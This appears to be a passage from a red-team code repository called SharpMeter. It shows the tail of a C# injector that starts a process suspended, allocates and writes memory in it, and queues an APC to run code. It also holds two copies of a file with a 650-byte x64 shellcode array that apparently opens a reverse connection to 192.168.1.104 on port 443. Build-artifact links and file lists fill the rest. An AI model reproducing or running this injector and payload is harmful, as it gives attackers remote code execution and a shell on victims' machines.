sht, IntPtr.Zero); 92 | 93 | IntPtr ThreadHandle = pi.hThread; 94 | ResumeThread(ThreadHandle); 95 | 96 | } 97 | catch (Exception ex) 98 | { 99 | 100 | throw; 101 | } 102 | } 103 | 104 | private static UInt32 MEM_COMMIT = 0x1000; 105 | private static UInt32 STARTF_USESHOWWINDOW = 0x00000001; 106 | private static UInt32 PAGE_READWRITE = 0x04; 107 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 108 | 109 | 110 | [Flags] 111 | public enum ProcessAccessFlags : uint 112 | { 113 | All = 0x001F0FFF, 114 | Terminate = 0x00000001, 115 | CreateThread = 0x00000002, 116 | VirtualMemoryOperation = 0x00000008, 117 | VirtualMemoryRead = 0x00000010, 118 | VirtualMemoryWrite = 0x00000020, 119 | DuplicateHandle = 0x00000040, 120 | CreateProcess = 0x000000080, 121 | SetQuota = 0x00000100, 122 | SetInformation = 0x00000200, 123 | QueryInformation = 0x00000400, 124 | QueryLimitedInformation = 0x00001000, 125 | Synchronize = 0x00100000 126 | } 127 | 128 | [Flags] 129 | public enum ProcessCreationFlags : uint 130 | { 131 | ZERO_FLAG = 0x00000000, 132 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000, 133 | CREATE_DEFAULT_ERROR_MODE = 0x04000000, 134 | CREATE_NEW_CONSOLE = 0x00000010, 135 | CREATE_NEW_PROCESS_GROUP = 0x00000200, 136 | CREATE_NO_WINDOW = 0x08000000, 137 | CREATE_PROTECTED_PROCESS = 0x00040000, 138 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, 139 | CREATE_SEPARATE_WOW_VDM = 0x00001000, 140 | CREATE_SHARED_WOW_VDM = 0x00001000, 141 | CREATE_SUSPENDED = 0x00000004, 142 | CREATE_UNICODE_ENVIRONMENT = 0x00000400, 143 | DEBUG_ONLY_THIS_PROCESS = 0x00000002, 144 | DEBUG_PROCESS = 0x00000001, 145 | DETACHED_PROCESS = 0x00000008, 146 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000, 147 | INHERIT_PARENT_AFFINITY = 0x00010000 148 | } 149 | public struct PROCESS_INFORMATION 150 | { 151 | public IntPtr hProcess; 152 | public IntPtr hThread; 153 | public uint dwProcessId; 154 | public uint dwThreadId; 155 | } 156 | public struct STARTUPINFO 157 | { 158 | public uint cb; 159 | public string lpReserved; 160 | public string lpDesktop; 161 | public string lpTitle; 162 | public uint dwX; 163 | public uint dwY; 164 | public uint dwXSize; 165 | public uint dwYSize; 166 | public uint dwXCountChars; 167 | public uint dwYCountChars; 168 | public uint dwFillAttribute; 169 | public uint dwFlags; 170 | public short wShowWindow; 171 | public short cbReserved2; 172 | public IntPtr lpReserved2; 173 | public IntPtr hStdInput; 174 | public IntPtr hStdOutput; 175 | public IntPtr hStdError; 176 | } 177 | 178 | private enum SW 179 | { 180 | SW_HIDE = 0, 181 | SW_SHOWNORMAL = 1, 182 | SW_NORMAL = 1, 183 | SW_SHOWMINIMIZED = 2, 184 | SW_SHOWMAXIMIZED = 3, 185 | SW_MAXIMIZE = 3, 186 | SW_SHOWNOACTIVATE = 4, 187 | SW_SHOW = 5, 188 | SW_MINIMIZE = 6, 189 | SW_SHOWMINNOACTIVE = 7, 190 | SW_SHOWNA = 8, 191 | SW_RESTORE = 9, 192 | SW_SHOWDEFAULT = 10, 193 | SW_MAX = 10 194 | } 195 | 196 | [Flags] 197 | public enum ThreadAccess : int 198 | { 199 | TERMINATE = (0x0001), 200 | SUSPEND_RESUME = (0x0002), 201 | GET_CONTEXT = (0x0008), 202 | SET_CONTEXT = (0x0010), 203 | SET_INFORMATION = (0x0020), 204 | QUERY_INFORMATION = (0x0040), 205 | SET_THREAD_TOKEN = (0x0080), 206 | IMPERSONATE = (0x0100), 207 | DIRECT_IMPERSONATION = (0x0200) 208 | } 209 | 210 | [DllImport("kernel32.dll", SetLastError = true)] 211 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, 212 | int dwThreadId); 213 | 214 | [DllImport("kernel32.dll", SetLastError = true)] 215 | public static extern bool WriteProcessMemory( 216 | IntPtr hProcess, 217 | IntPtr lpBaseAddress, 218 | byte[] lpBuffer, 219 | int nSize, 220 | out IntPtr lpNumberOfBytesWritten); 221 | 222 | [DllImport("kernel32.dll")] 223 | public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 224 | 225 | [DllImport("kernel32")] 226 | public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, 227 | Int32 size, UInt32 flAllocationType, UInt32 flProtect); 228 | [DllImport("kernel32.dll", SetLastError = true)] 229 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 230 | Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); 231 | 232 | [DllImport("kernel32.dll", SetLastError = true)] 233 | public static extern IntPtr OpenProcess( 234 | ProcessAccessFlags processAccess, 235 | bool bInheritHandle, 236 | int processId 237 | ); 238 | 239 | 240 | [DllImport("kernel32.dll")] 241 | public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 242 | [DllImport("kernel32.dll")] 243 | public static extern uint ResumeThread(IntPtr hThread); 244 | [DllImport("kernel32.dll")] 245 | public static extern uint SuspendThread(IntPtr hThread); 246 | [DllImport("kernel32.dll")] 247 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, 248 | int dwSize, uint flNewProtect, out uint lpflOldProtect); 249 | } 250 | } 251 | -------------------------------------------------------------------------------- /SharpMeter/bin/Debug/System.Net.Http.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/Debug/System.Net.Http.dll -------------------------------------------------------------------------------- /SharpMeter/bin/Debug/pay.txt: -------------------------------------------------------------------------------- 1 | byte[] buf = new byte[650] { 2 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 3 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 4 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 5 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 6 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 7 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 8 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 9 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 10 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 11 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 12 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 13 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 14 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 15 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 16 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 17 | 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 18 | 0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0x01,0x68,0x41,0x54,0x49,0x89,0xe4, 19 | 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 20 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 21 | 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 22 | 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 23 | 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 24 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 25 | 0xe8,0x1f,0x01,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 26 | 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 27 | 0x83,0xf8,0x00,0x0f,0x8e,0x6d,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x5e,0x89, 28 | 0xf6,0x81,0xf6,0xa0,0x05,0xa2,0xd3,0x4c,0x8d,0x9e,0x00,0x01,0x00,0x00,0x6a, 29 | 0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31, 30 | 0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x8d,0x98,0x00,0x01,0x00, 31 | 0x00,0x49,0x89,0xdf,0x53,0x56,0x50,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89, 32 | 0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4, 33 | 0x20,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00, 34 | 0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59, 35 | 0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x20,0xff,0xff, 36 | 0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x75,0xb3,0x49,0x89,0xfe,0x5f,0x59,0x41, 37 | 0x59,0x41,0x56,0xe8,0x10,0x00,0x00,0x00,0x34,0x2a,0x68,0x7e,0xa2,0xd0,0x53, 38 | 0x60,0xc9,0x53,0x10,0x7a,0xcb,0xe8,0x3e,0x08,0x5e,0x48,0x31,0xc0,0x49,0x89, 39 | 0xf8,0xaa,0xfe,0xc0,0x75,0xfb,0x48,0x31,0xdb,0x41,0x02,0x1c,0x00,0x48,0x89, 40 | 0xc2,0x80,0xe2,0x0f,0x02,0x1c,0x16,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18, 41 | 0x41,0x88,0x14,0x00,0xfe,0xc0,0x75,0xe3,0x48,0x31,0xdb,0xfe,0xc0,0x41,0x02, 42 | 0x1c,0x00,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,0x41,0x88,0x14,0x00,0x41, 43 | 0x02,0x14,0x18,0x41,0x8a,0x14,0x10,0x41,0x30,0x11,0x49,0xff,0xc1,0x48,0xff, 44 | 0xc9,0x75,0xdb,0x5f,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0, 45 | 0xb5,0xa2,0x56,0xff,0xd5 }; 46 | -------------------------------------------------------------------------------- /SharpMeter/bin/Debug/sharpmeter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/Debug/sharpmeter.exe -------------------------------------------------------------------------------- /SharpMeter/bin/Debug/sharpmeter.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpMeter/bin/Debug/sharpmeter.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/Debug/sharpmeter.pdb -------------------------------------------------------------------------------- /SharpMeter/bin/Debug/sharpmeter.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/Debug/sharpmeter.vshost.exe -------------------------------------------------------------------------------- /SharpMeter/bin/Debug/sharpmeter.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/System.Net.Http.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/System.Net.Http.dll -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/pay.txt: -------------------------------------------------------------------------------- 1 | byte[] buf = new byte[650] { 2 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 3 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 4 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 5 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 6 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 7 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 8 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 9 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 10 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 11 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 12 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 13 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 14 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 15 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 16 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 17 | 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 18 | 0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0x01,0x68,0x41,0x54,0x49,0x89,0xe4, 19 | 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 20 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 21 | 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 22 | 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 23 | 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 24 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 25 | 0xe8,0x1f,0x01,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 26 | 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 27 | 0x83,0xf8,0x00,0x0f,0x8e,0x6d,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x5e,0x89, 28 | 0xf6,0x81,0xf6,0xa0,0x05,0xa2,0xd3,0x4c,0x8d,0x9e,0x00,0x01,0x00,0x00,0x6a, 29 | 0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31, 30 | 0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x8d,0x98,0x00,0x01,0x00, 31 | 0x00,0x49,0x89,0xdf,0x53,0x56,0x50,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89, 32 | 0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4, 33 | 0x20,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00, 34 | 0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59, 35 | 0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x20,0xff,0xff, 36 | 0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x75,0xb3,0x49,0x89,0xfe,0x5f,0x59,0x41, 37 | 0x59,0x41,0x56,0xe8,0x10,0x00,0x00,0x00,0x34,0x2a,0x68,0x7e,0xa2,0xd0,0x53, 38 | 0x60,0xc9,0x53,0x10,0x7a,0xcb,0xe8,0x3e,0x08,0x5e,0x48,0x31,0xc0,0x49,0x89, 39 | 0xf8,0xaa,0xfe,0xc0,0x75,0xfb,0x48,0x31,0xdb,0x41,0x02,0x1c,0x00,0x48,0x89, 40 | 0xc2,0x80,0xe2,0x0f,0x02,0x1c,0x16,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18, 41 | 0x41,0x88,0x14,0x00,0xfe,0xc0,0x75,0xe3,0x48,0x31,0xdb,0xfe,0xc0,0x41,0x02, 42 | 0x1c,0x00,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,0x41,0x88,0x14,0x00,0x41, 43 | 0x02,0x14,0x18,0x41,0x8a,0x14,0x10,0x41,0x30,0x11,0x49,0xff,0xc1,0x48,0xff, 44 | 0xc9,0x75,0xdb,0x5f,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0, 45 | 0xb5,0xa2,0x56,0xff,0xd5 }; 46 | -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpmeter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpmeter.exe -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpmeter.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpmeter.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpmeter.pdb -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpmeter.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpmeter.vshost.exe -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpmeter.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpmeter.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpthrough.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpthrough.exe -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpthrough.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpMeter/bin/x64/Debug/sharpthrough.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpthrough.pdb -------------------------------------------------------------------------------- /SharpMeter/bin/x86/Debug/System.Net.Http.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x86/Debug/System.Net.Http.dll -------------------------------------------------------------------------------- /SharpMeter/bin/x86/Debug/sharpmeter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x86/Debug/sharpmeter.exe -------------------------------------------------------------------------------- /SharpMeter/bin/x86/Debug/sharpmeter.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpMeter/bin/x86/Debug/sharpmeter.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x86/Debug/sharpmeter.pdb -------------------------------------------------------------------------------- /SharpMeter/bin/x86/Debug/sharpmeter.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x86/Debug/sharpmeter.vshost.exe -------------------------------------------------------------------------------- /SharpMeter/bin/x86/Debug/sharpmeter.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpMeter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpMeter/obj/Debug/SharpMeter.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\sharpmeter.exe.config 2 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\sharpmeter.exe 3 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\sharpmeter.pdb 4 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\System.Net.Http.dll 5 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\System.Net.Http.xml 6 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\Debug\sharpmeter.exe 7 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\Debug\sharpmeter.pdb 8 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\Debug\SharpMeter.csprojResolveAssemblyReference.cache 9 | -------------------------------------------------------------------------------- /SharpMeter/obj/Debug/SharpMeter.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/Debug/SharpMeter.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /SharpMeter/obj/Debug/sharpmeter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/Debug/sharpmeter.exe -------------------------------------------------------------------------------- /SharpMeter/obj/Debug/sharpmeter.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/Debug/sharpmeter.pdb -------------------------------------------------------------------------------- /SharpMeter/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpMeter/obj/x64/Debug/SharpMeter.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\sharpmeter.exe.config 2 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\sharpmeter.exe 3 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\sharpmeter.pdb 4 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\System.Net.Http.dll 5 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\System.Net.Http.xml 6 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\x64\Debug\sharpmeter.exe 7 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\x64\Debug\sharpmeter.pdb 8 | -------------------------------------------------------------------------------- /SharpMeter/obj/x64/Debug/SharpThrough.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.exe.config 2 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.exe 3 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.pdb 4 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\System.Net.Http.dll 5 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\System.Net.Http.xml 6 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\SharpThrough.csprojResolveAssemblyReference.cache 7 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\sharpthrough.exe 8 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\sharpthrough.pdb 9 | -------------------------------------------------------------------------------- /SharpMeter/obj/x64/Debug/SharpThrough.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/SharpThrough.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /SharpMeter/obj/x64/Debug/sharpmeter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/sharpmeter.exe -------------------------------------------------------------------------------- /SharpMeter/obj/x64/Debug/sharpmeter.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/sharpmeter.pdb -------------------------------------------------------------------------------- /SharpMeter/obj/x64/Debug/sharpthrough.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/sharpthrough.exe -------------------------------------------------------------------------------- /SharpMeter/obj/x64/Debug/sharpthrough.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/sharpthrough.pdb -------------------------------------------------------------------------------- /SharpMeter/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpMeter/obj/x86/Debug/SharpMeter.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x86\Debug\sharpmeter.exe.config 2 | 